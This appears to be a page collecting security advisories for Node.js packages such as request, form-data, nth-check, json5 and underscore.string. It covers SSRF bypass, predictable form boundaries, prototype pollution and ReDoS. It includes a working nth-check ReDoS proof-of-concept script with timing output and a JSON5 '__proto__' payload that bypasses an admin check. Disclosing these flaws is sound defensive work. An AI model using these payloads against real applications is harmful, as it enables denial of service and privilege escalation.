Version Details and Security Vulnerabilities

The request package through 2.88.2 for Node.js and the @cypress/request package prior to 3.0.0 allow a bypass of SSRF mitigations via an attacker-controller server that does a cross-protocol redirect (HTTP to HTTPS, or HTTPS to HTTP).

NOTE: The request package is no longer supported by the maintainer.

Summary

form-data uses Math.random() to select a boundary value for multipart form-encoded data. This can lead to a security issue if an attacker:

1. can observe other values produced by Math.random in the target application, and
2. can control one field of a request made using form-data

Because the values of Math.random() are pseudo-random and predictable (see: https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f), an attacker who can observe a few sequential values can determine the state of the PRNG and predict future values, includes those used to generate form-data's boundary value. The allows the attacker to craft a value that contains a boundary value, allowing them to inject additional parameters into the request.

This is largely the same vulnerability as was recently found in undici by parrot409 -- I'm not affiliated with that researcher but want to give credit where credit is due! My PoC is largely based on their work.

Details

The culprit is this line here: https://github.com/form-data/form-data/blob/426ba9ac440f95d1998dac9a5cd8d738043b048f/lib/form_data.js#L347

An attacker who is able to predict the output of Math.random() can predict this boundary value, and craft a payload that contains the boundary value, followed by another, fully attacker-controlled field. This is roughly equivalent to any sort of improper escaping vulnerability, with the caveat that the attacker must find a way to observe other Math.random() values generated by the application to solve for the state of the PRNG. However, Math.random() is used in all sorts of places that might be visible to an attacker (including by form-data itself, if the attacker can arrange for the vulnerable application to make a request to an attacker-controlled server using form-data, such as a user-controlled webhook -- the attacker could observe the boundary values from those requests to observe the Math.random() outputs). A common example would be a x-request-id header added by the server. These sorts of headers are often used for distributed tracing, to correlate errors across the frontend and backend. Math.random() is a fine place to get these sorts of IDs (in fact, opentelemetry uses Math.random for this purpose)

PoC

PoC here: https://github.com/benweissmann/CVE-2025-7783-poc

Instructions are in that repo. It's based on the PoC from https://hackerone.com/reports/2913312 but simplified somewhat; the vulnerable application has a more direct side-channel from which to observe Math.random() values (a separate endpoint that happens to include a randomly-generated request ID).

Impact

For an application to be vulnerable, it must:

• Use form-data to send data including user-controlled data to some other system. The attacker must be able to do something malicious by adding extra parameters (that were not intended to be user-controlled) to this request. Depending on the target system's handling of repeated parameters, the attacker might be able to overwrite values in addition to appending values (some multipart form handlers deal with repeats by overwriting values instead of representing them as an array)
• Reveal values of Math.random(). It's easiest if the attacker can observe multiple sequential values, but more complex math could recover the PRNG state to some degree of confidence with non-sequential values.

If an application is vulnerable, this allows an attacker to make arbitrary requests to internal systems.

Versions of the package tough-cookie before 4.1.3 are vulnerable to Prototype Pollution due to improper handling of Cookies when using CookieJar in rejectPublicSuffixes=false mode. This issue arises from the manner in which the objects are initialized.

There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks.

The ReDoS vulnerabilities of the regex are mainly due to the sub-pattern \s*(?:([+-]?)\s*(\d+))? with quantified overlapping adjacency and can be exploited with the following code.

Proof of Concept

// PoC.js
var nthCheck = require("nth-check")
for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = '2n' + ' '.repeat(i*10000)+"!";
    try {
        nthCheck.parse(attack_str) 
    }
    catch(err) {
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
    }
}

The Output

attack_str.length: 10003: 174 ms
attack_str.length: 20003: 1427 ms
attack_str.length: 30003: 2602 ms
attack_str.length: 40003: 4378 ms
attack_str.length: 50003: 7473 ms

Prototype pollution vulnerability in function parseQuery in parseQuery.js in webpack loader-utils prior to version 2.0.3 via the name variable in parseQuery.js.

The parse method of the JSON5 library before and including version 2.2.1 does not restrict parsing of keys named __proto__, allowing specially crafted strings to pollute the prototype of the resulting object.

This vulnerability pollutes the prototype of the object returned by JSON5.parse and not the global Object prototype, which is the commonly understood definition of Prototype Pollution. However, polluting the prototype of a single object can have significant security impact for an application if the object is later used in trusted operations.

Impact

This vulnerability could allow an attacker to set arbitrary and unexpected keys on the object returned from JSON5.parse. The actual impact will depend on how applications utilize the returned object and how they filter unwanted keys, but could include denial of service, cross-site scripting, elevation of privilege, and in extreme cases, remote code execution.

Mitigation

This vulnerability is patched in json5 v2.2.2 and later. A patch has also been backported for json5 v1 in versions v1.0.2 and later.

Details

Suppose a developer wants to allow users and admins to perform some risky operation, but they want to restrict what non-admins can do. To accomplish this, they accept a JSON blob from the user, parse it using JSON5.parse, confirm that the provided data does not set some sensitive keys, and then performs the risky operation using the validated data:

const JSON5 = require('json5');

const doSomethingDangerous = (props) => {
  if (props.isAdmin) {
    console.log('Doing dangerous thing as admin.');
  } else {
    console.log('Doing dangerous thing as user.');
  }
};

const secCheckKeysSet = (obj, searchKeys) => {
  let searchKeyFound = false;
  Object.keys(obj).forEach((key) => {
    if (searchKeys.indexOf(key) > -1) {
      searchKeyFound = true;
    }
  });
  return searchKeyFound;
};

const props = JSON5.parse('{"foo": "bar"}');
if (!secCheckKeysSet(props, ['isAdmin', 'isMod'])) {
  doSomethingDangerous(props); // "Doing dangerous thing as user."
} else {
  throw new Error('Forbidden...');
}

If the user attempts to set the isAdmin key, their request will be rejected:

const props = JSON5.parse('{"foo": "bar", "isAdmin": true}');
if (!secCheckKeysSet(props, ['isAdmin', 'isMod'])) {
  doSomethingDangerous(props);
} else {
  throw new Error('Forbidden...'); // Error: Forbidden...
}

However, users can instead set the __proto__ key to {"isAdmin": true}. JSON5 will parse this key and will set the isAdmin key on the prototype of the returned object, allowing the user to bypass the security check and run their request as an admin:

const props = JSON5.parse('{"foo": "bar", "__proto__": {"isAdmin": true}}');
if (!secCheckKeysSet(props, ['isAdmin', 'isMod'])) {
  doSomethingDangerous(props); // "Doing dangerous thing as admin."
} else {
  throw new Error('Forbidden...');
}

Versions of underscore.string prior to 3.3.5 are vulnerable to Regular Expression Denial of Service (ReDoS).

The function unescapeHTML is vulnerable to ReDoS due to an overly-broad regex. The slowdown is approximately 2s for 50,000 characters but grows exponentially with larger inputs.

Recommendation

Upgrade to version 3.3.5 or higher.